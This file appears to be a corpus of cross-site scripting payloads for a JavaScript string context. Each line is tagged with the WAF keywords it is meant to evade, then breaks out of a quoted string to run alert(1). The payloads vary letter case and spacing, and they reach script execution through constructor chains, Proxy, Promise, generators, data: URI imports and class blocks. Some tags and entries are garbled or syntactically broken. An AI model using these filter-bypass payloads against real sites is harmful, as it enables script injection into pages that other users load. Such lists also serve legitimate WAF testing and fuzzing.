[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; OPEneR.alERt(1); //
[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.aLErT(1); //
[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; OpEner.aLErt(1); //
[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alert(1); //
[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alERT(1); //
[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alErt(1); //
[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]' ; parent.alert ( 1 ) ; //
[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.aLErt(1); //
[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.alert(1); //
[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.alERT(1); //
[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.AleRt(1); //
[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; tOp.aLErt(1); //
[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]' ; top.alert ( 1 ) ; //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].alert(1); //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].AlerT(1); //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].aleRT(1); //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]' ; frames[0].alert ( 1 ) ; //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; fRameS[0].alert(1); //
[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; FRaMEs[0].alerT(1); //
[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.alert(1); //
[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.ALErt(1); //
[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.AlerT(1); //
[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.aleRT(1); //
[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]' ; self.alert ( 1 ) ; //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.alert(1); //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]' ; globalThis.alert ( 1 ) ; //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; gLoBaltHIs.aLert(1); //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.aLErt(1); //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.ALeRT(1); //
[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; gloBalthis.alERT(1); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('alert(1)')(); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].ConStRuctor.ConsTrucToR('aLERT(1)')(); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('aLERT(1)')(); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].cOnStructOr.constrUctOr('aLert(1)')(); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('aLERt(1)')(); //
[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]' ; [].constructor.constructor ( 'alert ( 1 ) ' ) ( ) ; //
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', function(){alert(1)}); //
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].pROto.definEgEttEr('X', FunctIoN(){aLert(1)}); //
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', fuNctION(){ALErT(1)}); //
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', FuNCtion(){AleRT(1)}); //
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'
;
[].proto.defineGetter
(
'x',
function
(
)
{
alert
(
1
)
}
)
;
//
[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].protO.dEFINEgeTtER('x', funcTiOn(){alERt(1)}); //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: function(){alert(1)}}; o + ''; //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: fuNCTion(){alert(1)}}; o + ''; //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]' ; var o = { valueOf : function ( ) { alert ( 1 ) } } ; o + '' ; //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; vaR o = {vAlueOf: fUNCtioN(){AlErT(1)}}; o + ''; //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: funcTioN(){alert(1)}}; o + ''; //
[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; vAR o = {valuEOf: FuNction(){Alert(1)}}; o + ''; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: function(){alert(1)}}; o + ''; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: funcTIOn(){AlErT(1)}}; o + ''; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]; var o = {toString: function(){alert(1)}}; o + '; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]' ; var o = { toString : function ( ) { alert ( 1 ) } } ; o + '' ; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; VaR o = {ToSTRIng: fUnCtiOn(){aLErT(1)}}; o + ''; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: fUnCtIoN(){ALeRt(1)}}; o + ''; //
[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; vAr O = {toStRing: FuncTioN(){aleRT(1)}}; o + ''; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: function(){alert(1)}}; o + ''; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; Var o = {[SYMboL.topRimItivE]: function(){Alert(1)}}; o + ''; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]' ; var o = { [Symbol.toPrimitive] : function ( ) { alert ( 1 ) } } ; o + '' ; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: FUnCTIoN(){AlerT(1)}}; o + ''; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[SymboL.ToprimitiVe]: fuNcTIoN(){alERT(1)}}; o + ''; //
[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: fuNCtIoN(){AlERt(1)}}; o + ''; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: function(){alert(1)}}); p.x; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]' ; var p = new Proxy ( { } , { get : function ( ) { alert ( 1 ) } } ) ; p.x ; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; Var P = New PRoxy({}, {get: function(){alert(1)}}); p.x; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; VaR p = new Proxy({}, {Get: FUNcTIOn(){AlERt(1)}}); P.x; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: FunctIOn(){AlErT(1)}}); p.x; //
[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: FuNcTIoN(){ALErT(1)}}); p.x; //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(function(){alert(1)}, []); //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]' ; Reflect.construct ( function ( ) { alert ( 1 ) } , [] ) ; //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(fUNCTION(){ALERT(1)}, []); //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(FUNCTIon(){aLERT(1)}, []); //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.ConStrUcT(FuncTiOn(){alERT(1)}, []); //
[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; rEflEcT.COnStrUct(funcTion(){alErt(1)}, []); //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = function(){alert(1)}; a + ''; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]; var a = []; a.join = function(){alert(1)}; a + '; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; vaR a = []; a.joIN = FuNcTiOn(){AleRT(1)}; A + ''; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = funCTIon(){aLeRt(1)}; a + ''; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]' ; var a = [] ; a.join = function ( ) { alert ( 1 ) } ; a + '' ; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = funcTIoN(){AlErt(1)}; a + ''; //
[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; Var a = []; a.jOIn = fUncTion(){alErt(1)}; a + ''; //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = function(){alert(1)}; /x/.exec(); //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = fUNcTioN(){alErT(1)}; /x/.exec(); //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]' ; RegExp.prototype.exec = function ( ) { alert ( 1 ) } ; /x/.exec ( ) ; //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; reGExp.pROtOTypE.exeC = fuNctioN(){aLerT(1)}; /x/.exec(); //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; Regexp.proTotype.EXeC = FunCtIoN(){AlERT(1)}; /x/.eXec(); //
[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = fUNCTiON(){ALerT(1)}; /x/.exec(); //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(function(){alert(1)}); //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; PRomise.reSolve().tHen(functIon(){alert(1)}); //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]' ; Promise.resolve ( ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; PRoMIse.ReSOlve().theN(FUnCtION(){aLert(1)}); //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(funCtIon(){aleRT(1)}); //
[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(FunctiON(){aLerT(1)}); //
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async function(){ alert(1) })(); //
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (asyNC fuNctioN(){ ALeRt(1) })(); //
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'
;
(
async
function
(
)
{
alert
(
1
)
}
)
(
)
;
//
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async FUnCTion(){ Alert(1) })(); //
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (asYnc fUnCtiOn(){ Alert(1) })(); //
[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async funCTioN(){ alERT(1) })(); //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: function(r){ alert(1) }}; await x; //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var X = {tHEn: FuncTioN(r){ aLeRt(1) }}; aWAIt x; //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]' ; var x = { then : function ( r ) { alert ( 1 ) } } ; await x ; //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: FUncTiON(r){ ALErT(1) }}; await x; //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: FunctiON(r){ AlERt(1) }}; await x; //
[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; vaR x = {tHen: FUnctiON(R){ aleRt(1) }}; awaIt x; //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; function* g(){ alert(1) }; g().next(); //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]' ; function* g ( ) { alert ( 1 ) } ; g ( ) .next ( ) ; //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; FuNCTION* g(){ alert(1) }; g().next(); //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; fUncTiOn* g(){ aLErt(1) }; g().nEXt(); //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; fuNCtiON* g(){ aleRT(1) }; g().nExT(); //
[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; FunCtIoN* g(){ aLert(1) }; g().next(); //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: function*(){ alert(1) }}; [...o]; //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]' ; var o = { [Symbol.iterator] : function* ( ) { alert ( 1 ) } } ; [...o] ; //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; VAR o = {[symBOl.IteratOr]: FunCtION*(){ ALeRt(1) }}; [...o]; //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: FunCtiON*(){ ALErT(1) }}; [...o]; //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; Var o = {[SyMbOl.iTErATor]: FuNction*(){ AlERt(1) }}; [...o]; //
[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: fuNcTiOn*(){ ALERt(1) }}; [...o]; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: function*(){ alert(1) }}; [...o]; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; vAr o = {[sYMbol.iTeRaTOr]: FUNCTiOn*(){ AlErT(1) }}; [...O]; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: functioN*(){ ALerT(1) }}; [...o]; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]' ; var o = { [Symbol.iterator] : function* ( ) { alert ( 1 ) } } ; [...o] ; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[SymBol.iTEraTor]: fUnCtion*(){ alerT(1) }}; [...o]; //
[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: FuncTion*(){ alERt(1) }}; [...o]; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){alert(1)}}; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]' ; var { x } = { get x ( ) { alert ( 1 ) } } ; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){aLeRt(1)}}; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; Var {x} = {gEt x(){ALeRt(1)}}; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {Get x(){AlerT(1)}}; //
[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){aLerT(1)}}; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; alert`1`; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]' ; alert`1` ; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; alErT`1`; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; AlErT`1`; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; AlERt`1`; //
[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; aLert`1`; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; function f(){alert(1)}; f`x`; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; funCtIoN f(){ALErt(1)}; f`x`; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUnCtiOn f(){alERT(1)}; f`x`; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]' ; function f ( ) { alert ( 1 ) } ; f`x` ; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUncTIon f(){alerT(1)}; f`x`; //
[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUnCTION f(){ALErt(1)}; f`x`; //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,export default alert(1)').then(m => m.default()); //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; imporT('datA:teXt/JAVASCriPt,expOrT DeFaULt aLErt(1)').THen(m => M.DefAult()); //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; iMPORT('dAtA:tExt/javasCripT,export default alert(1)').then(M => M.default()); //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/JAvascriPT,export default AlerT(1)').then(m => m.default()); //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]' ; import ( 'data : text/javascript,export default alert ( 1 ) ' ) .then ( m = > m.default ( ) ) ; //
[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/jAVAsCRIpt,export default aLeRt(1)').then(m => m.default()); //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'alert(1)'; import('data:text/javascript,' + x); //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'ALert(1)'; import('data:text/JaVasCriPt,' + x); //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]' ; var x = 'alert ( 1 ) ' ; import ( 'data : text/javascript,' + x ) ; //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var X = 'alert(1)'; ImpoRt('data:tExt/jAvaScripT,' + X); //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; vAR x = 'aleRT(1)'; imPOrT('DaTA:TexT/javAscrIPT,' + x); //
[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'alErt(1)'; import('data:text/JAVASCRipT,' + x); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,alert(1)', {assert: {type: 'javascript'}}); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; iMporT('DaTa:tExt/jAvasCrIPt,ALERt(1)', {asSert: {Type: 'jAvasCRIpt'}}); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/jAvascript,AleRt(1)', {assert: {type: 'jAvascript'}}); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascRIPt,ALERt(1)', {assert: {type: 'javascRIPt'}}); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; impOrt('dAta:text/JAvasCrIpT,AleRt(1)', {asSerT: {TYPE: 'JAvasCrIpT'}}); //
[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]' ; import ( 'data : text/javascript,alert ( 1 ) ', { assert : { type : 'javascript' } } ) ; //
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; alert(1); //
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; imporT.mETa.url; AlERt(1); //
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; ALeRt(1); //
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'
;
import.meta.url
;
alert
(
1
)
;
//
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; ImporT.metA.uRl; AleRt(1); //
[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; AlErT(1); //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; alert(1); //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debuGGer; aLErt(1); //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]' ; debugger ; alert ( 1 ) ; //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; aLERt(1); //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; alerT(1); //
[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debuggEr; alErT(1); //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: alert(1)}){}; //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: aleRt(1)}){}; //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; With({x: alert(1)}){}; //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]' ; with ( { x : alert ( 1 ) } ) { } ; //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: ALerT(1)}){}; //
[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: AlERt(1)}){}; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { alert(1); break x; }; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { AlERt(1); bREAk X; }; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]' ; x : { alert ( 1 ) ; break x ; } ; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { AleRT(1); break x; }; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; X: { aleRt(1); bReak x; }; //
[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { alErt(1); break x; }; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw alert(1) } catch(e) {}; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; tRy { thRoW aLErT(1) } catch(E) {}; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; tRY { Throw AlErT(1) } CaTch(e) {}; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]' ; try { throw alert ( 1 ) } catch ( e ) { } ; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw aLErt(1) } catch(e) {}; //
[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw ALERT(1) } catch(e) {}; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { alert(1) }; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { aleRt(1) }; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; TRy {} finally { aLeRt(1) }; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { alErt(1) }; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} FInallY { alERt(1) }; //
[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]' ; try { } finally { alert ( 1 ) } ; //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { alert(1) } }; new X(); //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]' ; class X { constructor ( ) { alert ( 1 ) } } ; new X ( ) ; //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { ConStRucToR() { alERT(1) } }; nEw x(); //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; clASS x { conStruCtor() { alErT(1) } }; nEw X(); //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { aLERT(1) } }; new X(); //
[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { alErT(1) } }; new X(); //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { alert(1) } }; //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { AlERt(1) } }; //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; cLass x { StAtiC { AleRT(1) } }; //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { aleRT(1) } }; //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]' ; class X { static { alert ( 1 ) } } ; //
[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; ClaSs x { sTAtic { alert(1) } }; //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = alert(1) }; new X(); //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]' ; class X { #x = alert ( 1 ) } ; new X ( ) ; //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = aLERt(1) }; new X(); //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = aleRT(1) }; new X(); //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; cLAss X { #x = alErT(1) }; New x(); //
[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; CLass X { #x = aLert(1) }; new X(); //
[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; class X extends class { constructor() { alert(1) } } {}; new X(); //
[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; clAss x EXtends clasS { CONSTructor() { aLeRt(1) } } {}; New X(); //
[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; class X extends class { constructor() { aLErt(1) } } {}; new X(); //
[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]' ; class X extends class { constructor ( ) { alert ( 1 ) } } { } ; new X ( ) ; //
[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; CLasS X exTeNDs ClaSs { cONStructor() { ALErt(1) } } {}; new X(); //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); alert(1) } }; //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); aleRt(1) } }; //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; cLaSs x extENDs Y { coNStrUcTOr() { sUPeR(); aleRT(1) } }; //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); ALeRt(1) } }; //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; CLass X EXtEndS Y { cOnstrucToR() { super(); Alert(1) } }; //
[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]' ; class X extends Y { constructor ( ) { super ( ) ; alert ( 1 ) } } ; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){alert(1)}}; o.x; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {gEt x(){aLert(1)}}; o.x; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; Var o = {get x(){alErt(1)}}; o.X; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){ALert(1)}}; o.x; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){Alert(1)}}; o.x; //
[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]' ; var o = { get x ( ) { alert ( 1 ) } } ; o.x ; //
